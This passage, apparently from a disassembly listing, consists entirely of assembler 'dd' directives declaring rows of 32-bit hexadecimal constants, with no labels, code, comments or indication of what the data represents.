		dd 0B4E17443h, 0E73EBF73h, 0CE1900E8h, 1F05DBA3h, 16B705A9h
		dd 0C013486Fh, 0AE87B1A4h, 0A501F407h, 3317E89Dh, 0E0D206F3h
		dd 764412CFh, 0BB94A052h, 0D4C6387Dh, 0B124B280h, 0FE64621Fh
		dd 1CD11E00h, 5C04A11h,	8040009Dh, 0C9A44D5h, 0C40065B0h
		dd 0C5C1BB08h, 0F545CEEh, 0BED63A76h, 8F13FB20h, 4B01BCB9h
		dd 0DCF8B617h, 9D17034h, 0E9B4460h, 3A6D38DAh, 0BD1EC4FCh
		dd 90C0BAF3h, 0ADDFBEh,	8982844Dh, 0EFBBDB96h, 0D9B0A700h
		dd 2A8C6CB8h, 0BC3A5D86h, 0F61CFF04h, 5060B1DAh, 0FD973034h
		dd 0F8F2F303h, 1B5BD06h, 674C6950h, 0D119B96Dh,	1418208Ah
		dd 0D5DCB80Fh, 0F01C10F7h, 0BBC28401h, 87520581h, 0F47CDC44h
		dd 59D8AA60h, 5C7D5200h, 5D01CDD7h, 9D041D4Eh, 0B7FB80F2h
		dd 0A0616AE7h, 0F8833414h, 0D22C03E8h, 0A16F8B03h, 8C30FD0Eh
		dd 5ED900E7h, 0BC3E0D69h, 80009E6Ch, 1EEEC6E9h,	3A6279BAh
		dd 0D300222Eh, 8939F7C3h, 0E917DD67h, 7B03D790h, 8B06760Ch
		dd 0E1D1C032h, 9C36070Ah, 0E3A1C63Fh, 63D825A3h, 0C70F977Fh
		dd 803BFBF5h, 4E15E884h
		dd 1C467A6Ah, 80783804h, 2066FE0Dh, 5DF6AEC5h, 941BBC00h
		dd 0D0744F2Bh, 25BA0327h, 5A50F0CCh, 0C2C72130h, 2A95E2Bh
		dd 69DEDCF7h, 1CE019A6h, 484CCA9Bh, 7D990014h, 0DD646D0Eh
		dd 2DB300E7h, 743D9DF0h, 86007972h, 17DFABEBh, 0A90A21h
		dd 761A7C5Ch, 3E62342Ah, 0A60CEF00h, 0D9DE6FCAh, 40F0A0ABh
		dd 0F6AD40A7h, 7A482Fh,	9378E748h, 636706ECh, 1957239Ch
		dd 970DC20Bh, 2E5C40C1h, 0E44000B0h, 20C2F11h, 0F060905Fh
		dd 493D317Ah, 89BB07FDh, 10BA6E48h, 0AF925F5Ch,	0BF1F0400h
		dd 52088DF8h, 0A80B0067h, 93887F7Ah, 747553C1h,	3873D700h
		dd 0B595E9BDh, 4BC200E7h, 121DF0D2h, 3000149Fh,	64F987D1h
		dd 7B414E91h, 0BF080076h, 4F80858Bh, 0AD00058Fh, 31E0E195h
		dd 6F15D8h, 0EDE77B2Fh,	0DECFB119h, 0F6D70900h,	98CBF7E8h
		dd 8E170073h, 3521F3C3h, 0A03D57Ch, 8DA69E2Dh, 3B483B33h
		dd 50B15A80h, 0BAB2B6ECh, 2F267807h, 457186C2h,	2BC0BD5Eh
		dd 6FEA2883h, 0E43A00C8h, 0F33C0524h, 0B000D4F7h, 8A704C46h
		dd 1A1D6D1h, 52F2DC6Bh,	0ECEF296Ch, 533CF8ADh, 0E99A004Dh
		dd 0D5BD8678h, 24EB002Dh, 0FDF280Bh, 3A00E1F6h,	9FF83698h
		dd 4CE5C5BDh, 0C207C4B5h, 20258D49h, 0D3AC427Eh, 0EC80A496h
		dd 8B643CD1h, 0B78500ADh, 909B1BCCh, 5F4CE4EEh,	2DAA1794h
		dd 14A0B8C5h, 927F0E03h, 8720CCCEh, 0D208B739h,	0C8388097h
		dd 13948579h, 1AEF17h, 0BEB2780h, 56828F0Ah, 0AD0C00BCh
		dd 98EE65FAh, 33842800h, 5FE9856Ah, 67FE86h, 27020668h
		dd 0FCB1AB09h, 0B5A0F700h, 381E76DBh, 0AD72005Dh, 35BA8454h
		dd 0C009E77h, 0AA821F9Dh, 3E5FCC2Bh, 0F1AC8BD2h, 682434h
		dd 10E3DF37h, 9015042h,	7FBCE0A0h, 87E03CCDh, 5BD52477h
		dd 60470058h, 0A72002BFh, 0E16DF500h, 0CD094E14h, 8A98EBh
		dd 0E82FC015h, 0F94781DDh, 4AF1CE00h, 8E4BF079h, 61FE00DAh
		dd 0DE2CBD31h, 1500080Fh, 0CF746A7Ch, 26DD029Ch, 7089783h
		dd 3050C70Ch, 0F5E63B18h, 0A6D5C16h, 0E0575809h, 405E7CB8h
		dd 0D5008E90h, 8D897553h, 2F720B8h, 57111408h, 67A61Ah
		dd 2419A9D1h, 5E85FC8h,	0D552A409h, 0A08581DDh,	0F03084C3h
		dd 0F4110527h, 0C0AE19EBh, 0BB2ADDB6h, 0DC03B42Ch, 459C1D00h
		dd 1BFE8Bh, 2826E624h, 7A38B7C3h, 0FB7B0100h, 9CF5E48Dh
		dd 7819F87Eh, 0BC5A1216h, 0F94D00FCh, 50B2D548h, 6D01B7B8h
		dd 41816153h, 20DCBC4Dh, 7944003Eh, 8A7E4FA8h, 0AF0070ACh
		dd 60E60B30h, 0FAC59953h, 0C2810E25h, 54E3553Fh, 8E836F6h
		dd 0EDEAFE8Dh, 0CA975E03h, 0D022527Eh, 4E424Ah,	0E9CBF2CCh
		dd 0AE5BABE2h, 90947200h, 0B9682A10h, 2F9B0726h, 0D98B1164h
		dd 0B83D58D8h, 1A0B8FBh, 457437C4h, 0D2C42B7Fh,	0A4E4007Eh
		dd 6D41B2DAh, 4F0081A8h, 9CDBF442h, 90BD04h, 73430DE3h
		dd 67035A2h, 0CFB8B00h,	41846E51h, 6EC4C47h, 80D05C2Eh
		dd 55AA63C5h, 3D008969h, 417FDD59h, 50CD7EAh, 0E3CC702Fh
		dd 8FCC007Bh, 0AA19637h, 2E10C4A0h, 7F014400h, 0E19D06Ch
		dd 0B8F15A45h, 0C9187AF6h, 0E9862112h, 53260009h, 2E75AEB8h
		dd 6287124h, 0E700D46Bh, 0B08BA3F2h, 807D1B10h,	67003607h
		dd 1CC8A5FCh, 63506Fh, 31D1E687h, 0F138B99Dh, 0D3E33300h
		dd 100A98FCh, 6B2A009Eh, 5A0EC5EDh, 0AB0ECF78h,	0E0EE1633h
		dd 9D109986h, 0BC8100E2h, 88646C1Eh, 5101D63Dh,	59DB935Ch
		dd 12E7B77h, 5D827678h,	2FFAF49Ah, 0C7E3505h, 0D00025EAh
		dd 425B40B4h, 387A0080h, 0F0EC4B89h, 0E7079410h, 7B4F54C4h
		dd 0B3AEA210h, 32A00F4h, 5177BDD2h, 4400921Fh, 0D546D2Bh
		dd 0F2DDF3E1h, 3BD144C3h, 1CAB21h, 27B8D5BCh, 0A50083D7h
		dd 0E6DC34BBh, 2CAD280Fh, 3D48E51Ah, 0A48BAE80h, 1173465Dh
		dd 0F8245B1Ch, 0BDE59640h, 0C6AB37h, 9D6A3B2Ah,	89D91538h
		dd 5A190E03h, 983A8C84h, 57D6011h, 0C95B611Bh, 88FF0028h
		dd 7518EFD6h, 211FD700h, 0E0B271B3h, 0EE7D00D8h, 0E175047h
		dd 3005A60h, 0DDBE2618h, 0CDFE20h, 6F440827h, 688C0BCh
		dd 1B39B400h, 0E00B7A32h, 49FD3851h, 0A5FA007Ah, 15DBD92Eh
		dd 88005D3Ah, 75CC135Ch, 14818AFh, 822EB384h, 0D41787D4h
		dd 0DC5C764Ah, 0B90B000Fh, 71A2F4D7h, 958CB0C8h, 7E7A8880h
		dd 0C9006589h, 49A85142h, 0FA1ED120h, 9D0D098Ch, 9400B304h
		dd 3C558336h, 90200084h, 6686D0E0h, 0BF03E326h,	21FBFACFh
		dd 6EDAB0A1h, 908C0265h, 0E9D53371h, 0F8664060h, 4E056690h
		dd 94BAF715h, 9A7544C0h, 88AF2456h, 0F9A0B0A8h,	7600BD19h
		dd 0D0AC295Dh, 4CABA3CDh, 55008846h, 74A9E431h,	0A400F9B5h
		dd 0C8D7BB8Dh, 0BCA32912h, 88783CF8h, 0A4738C05h, 5D901F00h
		dd 0D6BBB8D8h, 0A6C30006h, 7DB37E5h, 9A0321A7h,	0D2ED9C34h
		dd 0C817C0E4h, 7E41079Dh, 0E08AD0E7h, 31F039B6h, 0F3408618h
		dd 4C3779h, 5F5D0CA5h, 8178232Fh, 1E5E200h, 69BE369Ah
		dd 0B4A5001Fh, 0BDE929EDh, 8E048799h, 6BBFD006h, 37096AC0h
		dd 0A4FB002Fh, 0A2A3EFAFh, 9B0B3989h, 504DE5B4h, 0D87F8Ch
		dd 0D59D25FFh, 885F64D4h, 27AD8C09h, 9674A0CCh,	13059Fh
		dd 36572058h, 0EE1BE9B6h, 0DFA6FA00h, 0A97848C7h, 8150027Ch
		dd 343617BFh, 979F9C40h, 1020794Bh, 0F878BEB4h,	2DC8F34Ah
		dd 931E2453h, 2CCA0382h, 1D902344h, 69025F1Ch, 5AC8A015h
		dd 0C8A5C3D2h, 1EDCF856h, 0A8DFE081h, 4CD1898h,	98B47EB0h
		dd 97753D09h, 516C805Fh, 125D9160h, 9DFA91Dh, 3860076Ch
		dd 2918C97Dh, 95285828h, 43E80037h, 1504EDCEh, 6894D098h
		dd 0CBBB2F00h, 7745E3h,	148F05C9h, 0B1993F93h, 86987AE0h
		dd 70BD8C14h, 0DDF200B8h, 786ABCDFh, 97565EAAh,	10D1F938h
		dd 0BAA2B301h, 0EDD0AEDBh, 1569C02Ah, 0EDD4F59h, 0A01F5Ch
		dd 0B47662F7h, 0BA912A3h, 22A230F3h, 7943B180h,	0F4000A64h
		dd 0EAB8827Ch, 38387B2Ah, 5B96EEE6h, 286C0089h,	155372D1h
		dd 0F200FE75h, 1E4E7ABEh, 2E6E4014h, 0CC929Fh, 0EFF0B286h
		dd 5E052A98h, 0D5876831h, 51CBFC40h, 0F2DA8375h, 1C24B005h
		dd 0A4FD3Ch, 12FCE6ADh,	1A1FDEE2h, 0C2CA5C61h, 0F805D4CAh
		dd 58A8AC2Eh, 22717600h, 21FCE0F5h, 247EC001h, 0D561B00Ah
		dd 1AB18C0h, 9BB40242h,	0F53103C8h, 0C484E4E0h,	0D027CC2Ch
		dd 0CFE19405h, 469001C0h, 0D5B707CEh, 80177E07h, 5FC33997h
		dd 962A6C00h, 0E680F5Ah, 606F0026h, 5BDEE49Bh, 5E017B54h
		dd 6B01CDBFh, 94E80EB1h, 2A770F79h, 9640325Fh, 91EB398Eh
		dd 8A6AD200h, 10706338h, 9EA500F2h, 3E8E3BDEh, 6703725Ch
		dd 0D56C4791h, 2E6AA075h, 266400AEh, 0C5A99E27h, 0C80E2B28h
		dd 60D02337h, 5FEF055Ch, 0C33A03BAh, 0B29D7863h, 494314F8h
		dd 53EDE71Fh, 0CA2060D8h, 0EBA50362h, 6D280E66h, 0EEA68DF8h
		dd 8E1C6578h, 190FDD67h, 0A1738FB8h, 839C225Ch,	0F1442E8Eh
		dd 0DE298660h, 0FB0194F9h, 634AB6A9h, 2CE8FDBCh, 797200A6h
		dd 237D216Eh, 0A332429Ah, 6075798Ch, 0B91D19h, 212D617Ah
		dd 25AFC972h, 51DECE05h, 65C0E062h, 0DA1284h, 8B339B83h
		dd 0AC55C3AFh, 2425CC00h, 909D77D3h, 5FEC012Bh,	53D6DC93h
		dd 0C9C3C05Ch, 0CD91BD00h, 6E35D94Bh, 1BE100EBh, 0E345BFB0h
		dd 0FF00D050h, 0D7CF4AC7h, 3A9A1DA3h, 0BA805893h, 0C9112C9Bh
		dd 89E4C282h, 40E2D71h
		dd 67CCF4FFh, 3E5034CDh, 3BB946Dh, 0C39C7E9Dh, 42A051D4h
		dd 0CE0031F3h, 18E776D8h, 0DBFD56h, 774FFEE4h, 0A051C0B3h
		dd 8FA2071Dh, 0C7CB0300h, 0FDF11Ch, 93D50ABh, 70E1403Ah
		dd 181E88ECh, 0A8872E74h, 28807A5Ch, 106FBDAh, 780BDDF6h
		dd 0DF08591Eh, 0FDE869ABh, 350217C7h, 9A50A21Dh, 815CC08Fh
		dd 466F0465h, 8085D21Eh, 0B62EB9AFh, 0FCC08E12h, 0A853A840h
		dd 2792E75Eh, 789051F7h, 0FC773D72h, 0F8C0064Fh, 80570C4Ch
		dd 0E400FDEDh, 1FBB28EFh, 378274C0h, 5234BC95h,	53E03422h
		dd 0DF00F1A4h, 73E58660h, 1EFD361h, 79BE0280h, 0CB4183AEh
		dd 0B70BE6D0h, 0D2E8C050h, 0FB3A020h, 3EAFA89Ch, 136A1BE0h
		dd 1000D10Ah, 74BC5246h, 5C646818h, 95BFAE1h, 34448B44h
		dd 1F77B44Ch, 0A10504D1h, 0A4A07DF1h, 3A831FD9h, 0BDE7C03Dh
		dd 8EF6AD97h, 0E011AB07h, 51800CA9h, 9A287Ah, 5B8A556Ah
		dd 2A851F0Ah, 5605A49Ah, 0D0C091E6h, 3C380CB8h,	0E43D4700h
		dd 77BC1CF8h, 4B145C00h, 675782Ah, 4A730059h, 0C4B0C71Dh
		dd 7D12794Fh, 8A00C0C6h, 91CD1825h, 81930192h, 3DF27F48h
		dd 874B70B5h, 58DDA500h, 4EBF944Fh, 4DA00F6Ch, 0E7E1F9A6h
		dd 0E80BF435h, 0A200EB47h, 0FCCE662h, 91775Fh, 3201507Eh
		dd 0DB554216h, 0FD00057Ch, 74FBF28Eh, 0F6F76426h, 745FC5Eh
		dd 5320E0CAh, 0E27B9002h, 0E5002303h, 0C716A6AAh, 877C83h
		dd 40474390h, 92847DCCh, 2D954D02h, 8142822Ch, 0D6E941BCh
		dd 0BA2209E8h, 677F0094h, 23949829h, 1201DCB5h,	5457F9FBh
		dd 33A876Bh, 0BAE6D460h, 756020DCh, 17E3E248h, 7217E3Ch
		dd 5126EB9Ch, 607C4501h, 39093B5Ch, 8028DCD8h, 125D876Fh
		dd 0E91416CBh, 4E340063h, 1EE33601h, 0AB03F100h, 44E4C8E6h
		dd 8760187h, 0B8B57571h, 997A807Eh, 411404D7h, 0FD2838F8h
		dd 15508D00h, 772CCCC1h, 0F8AD8628h, 6D692200h,	219EECC5h
		dd 62B327CDh, 32C1600Fh, 1EB445Ch, 0A6802C56h, 3F458E71h
		dd 976D74Ch, 0DDE39700h, 6332555Ah, 6E312CDEh, 0D987002Fh
		dd 0F4CE2856h, 9B16010Bh, 6DDC6088h, 17F05C71h,	750DE400h
		dd 0E8483A96h, 2EBA9D16h, 37266C80h, 0A8C10912h, 30788FB7h
		dd 449E8D0Bh, 7F558510h, 36532C80h, 0D19227EAh,	7BA44400h
		dd 3D0024A8h, 962BC34h,	604D2Ch, 31DAEB01h, 6FE5D7B6h
		dd 558C0D03h, 90D3C30Ch, 63CAEC8Bh, 4436209Bh, 0C89807C1h
		dd 0C0E2CE13h, 10459201h, 77D0714Dh, 4B00DC8h, 0C813535Ah
		dd 44CC00CAh, 9F5B1E63h, 0A25D000h, 0B1E5147h, 9F409A4Fh
		dd 0C00FD9B5h, 1AC96A5h, 7173BF92h, 5180FB86h, 2100AC9Dh
		dd 4F472BA9h, 74C91E22h, 0DD360038h, 0A001160Ah, 8300E2D5h
		dd 626F1F23h, 316DAEh, 99D09A54h, 36CAE065h, 78DF2D02h
		dd 0DE1F15BAh, 2E907700h, 0F029F2C5h, 0B3000134h, 734F2FC2h
		dd 40A0Eh, 0B11502CBh, 198B3C70h, 1E7F2CF8h, 0D553C403h
		dd 8A303187h, 7B0C583Bh, 0E10F01CBh, 70864C9Fh,	2244307Dh
		dd 0F8594302h, 0E8B7AD27h, 3FCA20E4h, 0B00774Ah, 1D688E9h
		dd 8A006131h, 70CC0C1Ch, 163A2D37h, 0E012AD63h,	0CE0082ACh
		dd 58FA03EEh, 0B76DFDh,	0E488786h, 6C4369B8h, 1F681400h
		dd 9BF45938h, 0AF8D000Ch, 9EFDF5FEh, 15066DD6h,	0A7E1D325h
		dd 53CA0098h, 810C8948h, 0DC178C52h, 50C3C5D0h,	8DF8E070h
		dd 918239D7h, 0B6CE1F80h, 0A0D93EF3h, 0C2771D00h, 855B9AD2h
		dd 0FD7D0062h, 6C644D18h, 6F13D746h, 88F0F2CFh,	24F1005Eh
		dd 15DAE26Eh, 0AA00CAE7h, 97C81FA4h, 1946FE4h, 0D9350C66h
		dd 0D8768901h, 0E24AC50Ah, 0F0571080h, 9A6827E1h, 89BE480h
		dd 8A545CD8h, 2839C2A4h, 95971742h, 49317E00h, 407A15h
		dd 56AF840Eh, 0C7431018h, 453BF8F0h, 8DD70077h,	0B874915Fh
		dd 4B49C3E4h, 35D82E1Fh, 40055F0h, 0ABA5EFC6h, 95D66570h
		dd 0CE46A083h, 58FC05F8h, 1EEA25h, 0C86133D4h, 8F903Ah
		dd 6E9B44EDh, 17B7C056h, 0B84EA817h, 53C30A4h, 41DC0F6Bh
		dd 17B8354h, 0FD3C90DCh, 809F8D3Fh, 0A97E020Ch,	0EDF40043h
		dd 0E0671CF7h, 0A60094ECh, 28FC452Ah, 7F63B995h, 10050171h
		dd 18EA67ABh, 0A900EFE7h, 3B885948h, 27E2E12h, 7970BFC5h
		dd 9C99D747h, 9F64606Bh, 0E86DD502h, 0E06091DEh, 57AE5CCh
		dd 1CB7D20Ch, 0CC8048EFh, 3402F160h, 0CBB9C062h, 58CCBB6Dh
		dd 0E57C38A0h, 9C1ECE4Eh, 0EF38F240h, 0C06D2DE2h, 42CF8179h
		dd 0D10012F0h, 0FFE1F30h, 0CA8413h, 4FB9948Ah, 0E5BC7175h
		dd 4CD4C854h, 39707901h, 9962C205h, 59FA0C21h, 0F3D61460h
		dd 0E4FB1500h, 61F0C580h, 0B800704Eh, 9F205F5Dh, 1AB10EC7h
		dd 97003A50h, 0F1EA371Bh, 34898700h, 0BE654929h, 0A6B100FFh
		dd 0CE4EFE21h, 0D2176348h, 0DF0047A4h, 70C3F8Fh, 24FA05h
		dd 1B2B31BEh, 0F1B17F0Ah, 561448E8h, 3AD3253Fh,	722700BCh
		dd 0AE823CF2h, 2F7CBA85h, 0F444F307h, 9FB7BF00h, 453197A0h
		dd 0B9E316A1h, 0DC7B145Ah, 0F5093901h, 2004A584h, 8A00BA6Ch
		dd 0D68CE981h, 5255FEh,	1BE36815h, 89E60445h, 0B1E4A100h
		dd 0FF4C21A2h, 72B832h,	0C3221A74h, 0B63033ACh,	5A941503h
		dd 89CA24FBh, 98808D16h, 8F3CC695h, 0BC05F540h,	592EDD26h
		dd 4200C0E8h, 288907EEh, 2905411Ah, 0C135BF50h,	212FCCF9h
		dd 0D3C2B4C0h, 41F0B7Ah, 3C0074D7h, 227DBEE5h, 7EE4073Ah
		dd 40CD569Fh, 739C6AB7h, 64B98500h, 0C50C7C4Dh,	63690012h
		dd 0C1BA9B1Ch, 1D00166Fh, 49E78F3Fh, 980CA141h,	427D70h
		dd 0FC13DC15h, 559CB11h, 12DF2A00h, 0DAA7F7F5h,	0F00E0091h
		dd 3E151697h, 5602C890h, 0C6AA2B93h, 740FBCBh, 5029F7DEh
		dd 4648F049h, 0FD378600h, 7867611Fh, 502E0095h,	0B92DFA8Ch
		dd 0F100CD12h, 0F5B0B6B1h, 754485h, 0A84BD726h,	14BF932Bh
		dd 111F2F00h, 86824FBEh, 38D7881h, 0F4423F98h, 3DEA075Ah
		dd 0A5032878h, 0D64D6212h, 0D39CF0E3h, 643C16BBh, 0A0545740h
		dd 20588388h, 501D5AD1h, 458F3A84h, 0F4C9B421h,	98174714h
		dd 0C4001BAAh, 0E634DA97h, 81E0074h, 2BEBC488h,	0C0093D5h
		dd 67DEBD92h, 0C0093C96h, 8FCAA640h, 0BB0715F3h, 2360F211h
		dd 2E70A270h, 955A0124h, 0ED8137C1h, 45D1C029h,	0F2F4FE00h
		dd 0B376FDA0h, 697912D6h, 0AC74B088h, 76C1A48h,	35413780h
		dd 7EF81C0h, 8119DD06h,	0C18D8759h, 0EEEC34ECh,	0B7B3B400h
		dd 3C0E2577h, 0A928C01Bh, 0A5D7D123h, 11CE600h,	0CF074C95h
		dd 96370406h, 0C0E0D69Ch, 73B5FA8Eh, 80776C0Fh,	0EB2EC033h
		dd 0B990C21h, 22698DF3h, 53508487h, 6F3E60Bh, 15CC5B8h
		dd 0EA832800h, 0B8B7D9CBh, 0DB0903D5h, 479A488Ch, 281B7DB0h
		dd 0C7B52400h, 1F6DA8F3h, 64490F3Dh, 3E60FEAAh,	0CB8E965Bh
		dd 67002C96h, 0B64DA599h, 846D00FBh, 0D9E7C46Fh, 3C01287Ch
		dd 31106C33h, 88305E3Ah, 7BEAA7h, 250E3DBh, 0DCBA1503h
		dd 485C841Eh, 0BC7DA980h, 1CA722E0h, 8063F89Eh,	0ECD2A297h
		dd 0A51C7621h, 0AA84E8F7h, 3CF84513h, 835BB900h, 7EE67B60h
		dd 8FBC34E7h, 0E4E4FD26h, 0F8399202h, 0BD17C04Ch, 988C2630h
		dd 0EB7F82C4h, 0DCCC9FE9h, 283B322Ch, 0C05DDBC4h, 0C251F907h
		dd 4F00FED4h, 5BD6F65h,	0E058AAh, 0FAF66DE8h, 0D0A57228h
		dd 1E678F12h, 183C0DCh,	0EDB40DA0h, 85C493A2h, 0FC122619h
		dd 4D918C0h, 346C0E80h
		dd 3E55C25h, 0EC40C2C7h, 0EBA93840h, 0FE4C8097h, 4A4361CDh
		dd 60A4E5BAh, 0A50E310h, 59C2FCADh, 0C4798B11h,	717624F4h
		dd 99DB008Ch, 0C835DC55h, 9DD1F916h, 95A55C01h,	7430BEDDh
		dd 0AF00FBDh, 5B898B69h, 4C75DCA2h, 0A09490A9h,	1B591003h
		dd 0A0FAA8F4h, 3E8E260h, 0E32AA298h, 410677D0h,	4B110387h
		dd 0A5B40039h, 865B2EAEh, 2301B080h, 6B51B66Dh,	0EC70DAB9h
		dd 0A7A93248h, 9CD415C9h, 4011881Ah, 98739E84h,	40475DE9h
		dd 0C91DB200h, 58C856E9h, 1879ECF1h, 61DB1C1Fh,	0A0A597CBh
		dd 3B96B61Ch, 0D17A00C0h, 1A4662B8h, 2F00D468h,	0A8B91513h
		dd 3A9378h, 5E436C22h, 0E92B07A6h, 0D8AEF05h, 0CCB2579Ah
		dd 0C09B13D3h, 5B623CCCh, 0C0BFFB00h, 438B54CAh, 1CC40080h
		dd 0B6344A17h, 0F5183A03h, 46116355h, 0CF0600F0h, 407168C5h
		dd 0A0FAE4A2h, 0E20163ECh, 4E14ABECh, 1FC167E0h, 0D06084E9h
		dd 0B6810CCEh, 20113905h, 46573C00h, 760F6FA3h,	9747E0E0h
		dd 7ACD74E9h, 320CA020h, 7C700748h, 515F3624h, 0D672EF9Eh
		dd 0ACBC825Dh, 0F458CDh, 73FB8F95h, 32B0270Fh, 319758h
		dd 0DBB8EEA1h, 2587D1h,	9EF248C9h, 66B9D6B7h, 43077000h
		dd 0E5FBA333h, 9613000Dh, 778F5891h, 0F300033Fh, 7536CA86h
		dd 0B0618DFDh, 0F9E50070h, 0A71F18F0h, 472C481Bh, 0FA0CB2BEh
		dd 1E6D78A5h, 8255D211h, 0CCAC292Bh, 0EF575E0h,	7E84C600h
		dd 0B701C87h, 2530349h,	8ABC9A4Eh, 24E02DEAh, 2E00086Bh
		dd 28446F75h, 0A8FED0h,	1412CD83h, 91EC5FB8h, 30804BDh
		dd 0FDF000AAh, 8B4CDB0h, 0BC89380Bh, 0B5C5006Dh, 8F8E58h
		dd 0AF5FBB05h, 0B13D9A99h, 0CC541201h, 0E17729D6h, 0AC8075C6h
		dd 62851082h, 0D5C55107h, 8FC01BA5h, 37E5EBh, 2AAC3566h
		dd 0E3A2BE21h, 0E8CF9700h, 0A4946141h, 0E22E0052h, 0A7F59AFBh
		dd 24ADDB4h, 0DB9050C7h, 0FAEF88A9h, 41EE127Ah,	0C9A8405Eh
		dd 2B73CB94h, 0B38B0100h, 0E83E3FFFh, 0BDC600EEh, 8D9A7762h
		dd 121F7E48h, 33009097h, 0AA789C68h, 0ED38021Ah, 0C8168A0Ah
		dd 2AC01849h, 0E4D184C9h, 0B62C9200h, 0A393C700h, 44AA3121h
		dd 0C5CD000Eh, 15FFF44Ah, 0FB033E53h, 0A2C1F1CEh, 352A054h
		dd 1B7C0785h, 70F0DF6Ch, 2019D17Bh, 8A26A300h, 1EB5D483h
		dd 4D7C1CB9h, 0E7B701C1h, 71F9D634h, 1F45F804h,	9ABFC800h
		dd 9736FED9h, 60900A7h,	7F1AFFB0h, 0E400B75Ah, 0B8959EF6h
		dd 26E9896Bh, 1484E7h, 0AB27F7D5h, 2C0072A0h, 5DEAF22h
		dd 24AD0DFAh, 23AABFh, 441CE06Fh, 0CE16EEFCh, 1600A25Ah
		dd 968E5FB6h, 679B0210h, 0D9B7166Ah, 0F7DA9048h, 0B6CC0A00h
		dd 4C802E06h, 0BF6F0361h, 265D5CB5h, 8C5959F2h,	68B97C82h
		dd 93685644h, 0B4980208h, 1C72D62Ah, 44129096h,	0B8AC4C81h
		dd 0CB1FEC50h, 6F3201C9h, 3EE8BD42h, 82C431D8h,	7296FED8h
		dd 1BBCDAA1h, 39A96F22h, 93CDD8E8h, 195D4127h, 0F910F828h
		dd 0BA00AD29h, 0A0729F6Ah, 0E1EFECh, 4A382068h,	8B50A563h
		dd 47AFA30Eh, 0F16A00A9h, 0D78171h, 9587907h, 316FD815h
		dd 0D94B6600h, 0C08EC33h, 374B989h, 40239885h, 32A79100h
		dd 0AFE647C1h, 56F7F50h, 0F8802BB1h, 7B4BC2E4h,	0D2AB19E0h
		dd 55351D12h, 7CC010C0h, 42E416BBh, 0EE742CCEh,	11C14B00h
		dd 0CC58339Eh, 95861644h, 0A998007Fh, 88590916h, 0E09B3F09h
		dd 9E7001BDh, 0A062F448h, 1F6EC300h, 9DF3473Fh,	0E028E295h
		dd 581683FCh, 5211800Bh, 71EB2155h, 0E1CC61FDh,	7A01CFE0h
		dd 82CFB256h, 49905801h, 29F700FEh, 3478C104h, 7C415883h
		dd 3DB53A17h, 7442C60h,	0AF13E0Dh, 0F0B2F210h, 0E4C9C9Ah
		dd 2FC50C36h, 27D0A247h, 66CC8041h, 0B2FF88h, 0DCF3F55Ch
		dd 60B5AB99h, 7D0B6B12h, 9D23B601h, 407B4E21h, 3E937B2Ch
		dd 0C80306D0h, 0E87C300Bh, 0DFEEA076h, 0CB8C00D4h, 0C96221F3h
		dd 0BC131812h, 0C0011686h, 61F0E072h, 80DC189Dh, 5BB475A6h
		dd 6417C3B1h, 0D8182A79h, 3A49D39h, 0CE32F44h, 0C72928h
		dd 0A0823C3Bh, 83526B0Ch, 3F6A2859h, 49DE14CEh,	45CEA68h
		dd 1AFDB261h, 6905C450h, 0B0A05DFh, 0E0F3D254h,	9684BF84h
		dd 48B54094h, 9A2E1553h, 0D200FDC5h, 8CDE37B4h,	5DA70023h
		dd 882109F5h, 5E7D8D16h, 0B81A3300h, 1C84A36Fh,	0F2FC00E7h
		dd 0FB31B42Ah, 0D75C1B7Fh, 965C129Eh, 33D494A1h, 0BFA400D1h
		dd 2D6FCFB7h, 2100AC4Dh, 90D97943h, 1E22C6h, 0FE426B34h
		dd 3F8782Eh, 64FBC8B2h,	467CFC38h, 2DFB7D00h, 0A003EFE1h
		dd 14FA0ED4h, 13846AB4h, 2FA6C06Ch, 7C001ADEh, 76691C80h
		dd 9AFD91h, 78423EA1h, 37068ACEh, 0B5023C90h, 851A5A6Ch
		dd 0D85E9Eh, 9CF4E40Ch,	3800B807h, 7E6E9F68h, 1FE7D7BBh
		dd 1F9A392h, 7D476257h,	4B988024h, 0CD13F1EDh, 39D0756Eh
		dd 5F0E4E15h, 9061FCA2h, 50E7BD77h, 101A50C8h, 0AF79C800h
		dd 2B6C4080h, 905E00C4h, 766F16ACh, 0B7048E73h,	89F062BEh
		dd 0C4C404BAh, 815A4BDDh, 561B17E0h, 0BC89DD0h,	300C539Bh
		dd 0DD74E803h, 3B0223D0h, 705866B0h, 0E7D10050h, 79373807h
		dd 0AFB60030h, 7C211CB2h, 0A4124F78h, 8404497h,	0C6ED94CFh
		dd 0DC28CF6Dh, 218F6C43h, 8586D3D8h, 0B0DDA417h, 5A8BF430h
		dd 70060275h, 1CE2D557h, 958E1DC0h, 54DBE505h, 4CF2944Fh
		dd 9FB2809h, 0BD1DE000h, 0F70A45D8h, 0ECC0AEB5h, 62D309h
		dd 0ECA73440h, 0CCA90A36h, 0AB0E159h, 9CCA82h, 5F70803Dh
		dd 5B002798h, 0C5E84308h, 184CBD19h, 68D6A51Eh,	0D00089CDh
		dd 2CF5347Ch, 61EE67h, 500DA98Bh, 0D7704216h, 0D33DDD0Eh
		dd 18EE0F5h, 3405C19h, 747CC3A8h, 0CE009FFCh, 0C51CF80Fh
		dd 0F9B5AEh, 33238382h,	0BF7D715Eh, 0A7FEFF1Fh,	0E8FD4180h
		dd 94F165Bh, 926E96DAh,	0F09C68A0h, 0D926C50Eh,	8900B9C9h
		dd 0C3525F84h, 1FB103D1h, 3EFAAC9Fh, 55431CD0h,	10E4BD00h
		dd 0D6AA0728h, 720E02DFh, 6F51391Bh, 952D5D60h,	941774B8h
		dd 18036982h, 0D8B42162h, 77AD76A5h, 0ABF20024h, 9B7DC7A4h
		dd 0F77A472Bh, 0C8678701h, 0F5B382E0h, 3AD06F8h, 2072FEAFh
		dd 0B0A06254h, 0D402FA58h, 0F6E37787h, 9D84569Bh, 371BC045h
		dd 207CF3E8h, 0BF605600h, 3FB63983h, 694123Bh, 1CBC52h
		dd 1A03A8CCh, 0C0E199h,	98846360h, 4C502BA9h, 8EA0ED48h
		dd 438CE026h, 556A2Ah, 0AAF6FA10h, 6C44B3DBh, 8088A53Fh
		dd 3A1BBB75h, 3E067023h, 3C4893A3h, 306098C9h, 0C6170BCEh
		dd 0EC00BCA7h, 2B11E256h, 1CE47C1Dh, 404B1FC5h,	4CC02A26h
		dd 9301D22Eh, 7BFDE54Eh, 333506h, 461AD6E9h, 0BE5BB0h
		dd 93EC6344h, 9A0E18EAh, 0A010BD91h, 0B70AEB43h, 0B5E00188h
